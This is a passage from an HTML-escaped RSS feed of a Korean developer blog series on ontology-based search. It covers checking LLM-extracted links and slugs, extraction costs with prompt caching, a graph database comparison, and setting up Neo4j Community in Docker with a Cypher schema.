  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; post &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;parsePost&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;file&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ingest&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;session&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; post&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; extractions &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;extract&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;post&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ingestExtractions&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;session&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; post&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; extractions&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;✓ &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;slug&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; — cites:&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;extractions&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cites&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;, related:&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;extractions&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;related&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;, prereq:&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;extractions&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prerequisites&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이제 Q4·Q5·Q7도 그래프에 살아 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;비용 — 진짜로 얼마 나오나&lt;/h2&gt;
&lt;p&gt;블로그 글 평균 1500 토큰 기준으로 거칠게 계산해보면:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;입력&lt;/th&gt;
&lt;th&gt;출력&lt;/th&gt;
&lt;th&gt;글 1개당&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;시스템(첫 호출)&lt;/td&gt;
&lt;td&gt;~300&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;$0.0009&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시스템(캐시 히트)&lt;/td&gt;
&lt;td&gt;~300&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;$0.00009&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;본문 입력&lt;/td&gt;
&lt;td&gt;~1500&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;$0.0045&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tool Use 출력&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;~300&lt;/td&gt;
&lt;td&gt;$0.0045&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;합 (캐시 히트 시)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;약 $0.009&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;100개 글이면 캐싱 효과 포함해 &lt;strong&gt;약 $0.9&lt;/strong&gt;. 한 번 적재해두면 글이 바뀐 것만 재추출하면 되니, 운영 비용도 잡힙니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;입력이 큰 작업에서 캐싱은 사실상 필수입니다. 캐싱 없이 100개 글을 처리하면 같은 시스템 프롬프트를 100번 모두 풀값으로 결제하게 됩니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;검수 — LLM이 환각을 그래프에 흘려보내지 않으려면&lt;/h2&gt;
&lt;p&gt;LLM 추출은 매번 100% 맞지 않습니다. 그래서 그래프에 적재하기 전 &lt;strong&gt;자동 검수 단계&lt;/strong&gt;를 둡니다.&lt;/p&gt;
&lt;h3&gt;1) URL 실재 여부 확인&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;cites&lt;/code&gt;의 URL은 실제 도달 가능한지 HEAD 요청으로 검증. 404면 드롭하고 사람이 보게 표시.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;validateUrl&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; r &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;HEAD&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;redirect&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;follow&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ok
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2) related/prereq의 slug 존재 확인&lt;/h3&gt;
&lt;p&gt;추출된 slug가 실제 블로그에 있는지 체크. 없으면 LLM이 가상의 글을 지어낸 것 — 즉시 드롭.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; knownSlugs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;allPosts&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;slug&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
extractions&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;related &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; extractions&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;related&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; knownSlugs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;has&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;slug&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
extractions&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prerequisites &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; extractions&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prerequisites&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt;
  knownSlugs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;has&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;slug&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;3) &lt;code class=&quot;language-text&quot;&gt;evidence&lt;/code&gt;/&lt;code class=&quot;language-text&quot;&gt;reason&lt;/code&gt; 길이 sanity check&lt;/h3&gt;
&lt;p&gt;evidence가 너무 짧거나(&lt;code class=&quot;language-text&quot;&gt;&quot;~&quot;&lt;/code&gt; 한 글자) 본문에 그 문자열이 안 나오면 의심. 본문 부분문자열 매칭으로 거릅니다.&lt;/p&gt;
&lt;p&gt;이 세 단계만 둬도 &lt;strong&gt;사람 검수 부담이 10분의 1&lt;/strong&gt;로 줄어듭니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;다음 편 예고 — GraphRAG로 자연어 질의 답하기&lt;/h2&gt;
&lt;p&gt;이제 그래프가 frontmatter + 본문 정보로 가득 찼습니다. 사용자는 Cypher를 모르니, &lt;strong&gt;자연어 질의를 받아 Cypher로 바꾸고 답을 합성&lt;/strong&gt;해야 합니다.&lt;/p&gt;
&lt;p&gt;다음 편에서는:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;자연어 → Cypher LLM 변환 (LangChain &lt;code class=&quot;language-text&quot;&gt;GraphCypherQAChain&lt;/code&gt; vs 직접 구현)&lt;/li&gt;
&lt;li&gt;벡터 + 그래프 하이브리드 검색&lt;/li&gt;
&lt;li&gt;Cypher 결과를 자연스러운 답변으로 합성&lt;/li&gt;
&lt;li&gt;2편의 질의 7개 전체를 자연어로 다시 풀어보기&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;여기까지 와야 비로소 &quot;온톨로지 기반 검색&quot;이 완성됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1. OpenAI Structured Output을 써도 되나요?&lt;/strong&gt;
됩니다. 동일한 JSON Schema를 &lt;code class=&quot;language-text&quot;&gt;response_format&lt;/code&gt;에 넣으면 동작 원리는 같습니다. 다만 &lt;strong&gt;긴 본문 처리에서는 Claude 쪽이 일관성이 좋고&lt;/strong&gt;, 프롬프트 캐싱 단가도 유리합니다. 환경에 맞춰 고르세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2. 추출 결과를 그대로 믿어도 되나요?&lt;/strong&gt;
부분적으로만요. 위의 3단계 자동 검수를 통과한 항목은 거의 안전하지만, &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;RELATED_TO&lt;/code&gt;처럼 주관적 판단이 들어가는 관계는 LLM별 편차가 큽니다.&lt;/strong&gt; 처음 10개 글은 사람이 직접 확인한 뒤 프롬프트를 조정하는 단계를 거치시길 권합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3. 추출 결과를 그래프가 아니라 frontmatter에 역으로 적어두면 안 되나요?&lt;/strong&gt;
좋은 운영 패턴입니다. 추출 결과를 글의 frontmatter에 &lt;code class=&quot;language-text&quot;&gt;related: [...]&lt;/code&gt;처럼 적어두면, 다음 적재부터는 LLM을 다시 호출하지 않아도 됩니다. &lt;strong&gt;&quot;LLM 추출 → 사람 검수 → frontmatter 확정 → 그래프 적재&quot;&lt;/strong&gt; 흐름이 가장 안정적이에요.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;여러분이 LLM으로 본문 정보를 뽑는다면 어떤 항목부터 시작하시겠어요? 댓글로 도메인을 알려주시면, 다음 편 GraphRAG 예제에 참고하겠습니다.&lt;/p&gt;
&lt;p&gt;다음 편에서 GraphRAG로 자연어 질의를 풀어보겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[지식 그래프 구축 실전 — Neo4j vs RDF, 스택 선정과 적재]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "비교는 알겠고, 그래서 뭘 깔면 되는데요?" 지난 2편에서 블로그 검색용 온톨로지를 클래스 6개·관계 7개로 설계했습니다. 이제 머릿속에 있던 설계를 실제로 돌아가는 그래프 DB…]]></description><link>https://blog.javapark.kr/ontology-search-03-build/</link><guid isPermaLink="false">https://blog.javapark.kr/ontology-search-03-build/</guid><pubDate>Fri, 22 May 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;비교는 알겠고, 그래서 뭘 깔면 되는데요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;지난 &lt;a href=&quot;/ontology-search-02-modeling/&quot;&gt;2편&lt;/a&gt;에서 블로그 검색용 온톨로지를 클래스 6개·관계 7개로 설계했습니다. 이제 머릿속에 있던 설계를 &lt;strong&gt;실제로 돌아가는 그래프 DB&lt;/strong&gt;로 옮길 차례입니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — 이번 편에서는 &lt;strong&gt;Neo4j Community Edition&lt;/strong&gt;으로 확정하고, 도커로 띄운 뒤 블로그 글을 그래프에 적재합니다. 적재 끝나면 2편에서 정한 질의 7개를 Cypher로 실제로 돌려봅니다.&lt;/p&gt;
&lt;p&gt;선택 이유와 다른 후보를 미리 알아두면 본인 도메인에 맞는 결정을 내리기 쉬워지니, 비교부터 짧게 보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;그래프 DB 후보 비교 — 1인 운영 기준&lt;/h2&gt;
&lt;p&gt;선정 기준을 먼저 적어둡니다. 사람마다 가중치가 다르니 본인 상황에 맞춰 조정하시면 됩니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;무료/오픈소스&lt;/strong&gt; — 1인 운영에 라이선스 비용은 부담&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;로컬 도커 실행&lt;/strong&gt; — 인프라 자체에 시간을 쓰고 싶지 않음&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LLM 생태계 통합&lt;/strong&gt; — LangChain/LlamaIndex에서 바로 쓸 수 있어야 함&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;질의어 진입 장벽&lt;/strong&gt; — 며칠 안에 익숙해질 수 있어야 함&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;시각화 도구&lt;/strong&gt; — 그래프는 눈으로 봐야 신뢰가 생김&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;이 기준으로 본 후보 4종 비교:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;후보&lt;/th&gt;
&lt;th&gt;모델&lt;/th&gt;
&lt;th&gt;질의어&lt;/th&gt;
&lt;th&gt;LLM 통합&lt;/th&gt;
&lt;th&gt;시각화&lt;/th&gt;
&lt;th&gt;1인 운영 비용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Neo4j Community&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;LPG (라벨 속성 그래프)&lt;/td&gt;
&lt;td&gt;Cypher&lt;/td&gt;
&lt;td&gt;LangChain·LlamaIndex 1급 시민&lt;/td&gt;
&lt;td&gt;Neo4j Browser 내장&lt;/td&gt;
&lt;td&gt;무료, Docker 5분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GraphDB Free&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RDF (트리플)&lt;/td&gt;
&lt;td&gt;SPARQL&lt;/td&gt;
&lt;td&gt;일부 어댑터 존재&lt;/td&gt;
&lt;td&gt;Workbench 내장&lt;/td&gt;
&lt;td&gt;무료(소규모), 학습 가파름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Memgraph&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;LPG&lt;/td&gt;
&lt;td&gt;Cypher&lt;/td&gt;
&lt;td&gt;통합 진행 중&lt;/td&gt;
&lt;td&gt;Memgraph Lab 별도&lt;/td&gt;
&lt;td&gt;무료, 생태계 작음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Apache Jena Fuseki&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RDF&lt;/td&gt;
&lt;td&gt;SPARQL&lt;/td&gt;
&lt;td&gt;거의 없음&lt;/td&gt;
&lt;td&gt;별도 도구 필요&lt;/td&gt;
&lt;td&gt;무료, 운영 손많음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;가장 큰 갈림길은 &lt;strong&gt;LPG vs RDF&lt;/strong&gt;입니다. RDF는 W3C 표준이고 OWL 추론기와 결합하면 강력하지만, &lt;strong&gt;LLM 도구 통합은 LPG 진영이 압도적으로 앞서 있습니다.&lt;/strong&gt; 우리는 GraphRAG가 목적이라 LPG로 갑니다.&lt;/p&gt;
&lt;p&gt;LPG 안에서 Neo4j vs Memgraph는 사실 Cypher 호환이라 코드가 거의 같습니다. 다만 &lt;strong&gt;LangChain의 Neo4j 통합이 가장 두텁고&lt;/strong&gt;, 학습 자료가 압도적이라 Neo4j로 결정합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;만약 본인 도메인이 학술 인용망·온톨로지 추론 중심이라면 RDF(GraphDB) 쪽이 더 맞을 수 있습니다. 이 시리즈는 &quot;검색·RAG&quot;에 초점이라 LPG가 답이라는 점만 강조드립니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Neo4j Community를 5분 만에 띄우기&lt;/h2&gt;
&lt;p&gt;Neo4j Community Edition은 도커 이미지 한 줄이면 끝입니다. 프로젝트 루트에 &lt;code class=&quot;language-text&quot;&gt;docker-compose.yml&lt;/code&gt;을 만듭니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;services&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;neo4j&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; neo4j&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;5&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;community
    &lt;span class=&quot;token key atrule&quot;&gt;container_name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ontology&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;search&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;neo4j
    &lt;span class=&quot;token key atrule&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;7474:7474&quot;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Browser&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;7687:7687&quot;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Bolt protocol (드라이버용)&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;environment&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; NEO4J_AUTH=neo4j/please&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;change&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;me
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; NEO4J_PLUGINS=&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;apoc&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;volumes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; ./neo4j/data&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;/data
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; ./neo4j/logs&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;/logs&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; compose up &lt;span class=&quot;token parameter variable&quot;&gt;-d&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;브라우저에서 &lt;a href=&quot;http://localhost:7474&quot;&gt;http://localhost:7474&lt;/a&gt;로 접속하면 Neo4j Browser가 뜹니다. 위 비밀번호로 로그인하면 빈 그래프가 보입니다.&lt;/p&gt;
&lt;p&gt;APOC 플러그인은 데이터 적재·문자열 처리에 자주 쓰이는 표준 확장팩이라 미리 켜뒀습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;온톨로지를 Neo4j 스키마로 옮기기&lt;/h2&gt;
&lt;p&gt;2편에서 그린 온톨로지를 Neo4j 용어로 매핑합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;온톨로지&lt;/th&gt;
&lt;th&gt;Neo4j&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;클래스(Class)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Label&lt;/strong&gt; (예: &lt;code class=&quot;language-text&quot;&gt;:Post&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;:Tag&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;속성(Property)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Property&lt;/strong&gt; (노드/관계의 키-값)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;관계(Relation)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Relationship Type&lt;/strong&gt; (예: &lt;code class=&quot;language-text&quot;&gt;:HAS_TAG&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;식별자&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Unique constraint&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Neo4j 관례상 라벨은 &lt;strong&gt;PascalCase&lt;/strong&gt;, 관계는 &lt;strong&gt;UPPER_SNAKE_CASE&lt;/strong&gt;입니다. 2편의 7개 관계를 옮기면:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;cypher&quot;&gt;&lt;pre class=&quot;language-cypher&quot;&gt;&lt;code class=&quot;language-cypher&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 식별자 제약 (먼저 정의)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CONSTRAINT&lt;/span&gt; post_slug IF &lt;span class=&quot;token keyword&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;EXISTS&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;FOR&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;REQUIRE&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;slug &lt;span class=&quot;token keyword&quot;&gt;IS&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;UNIQUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
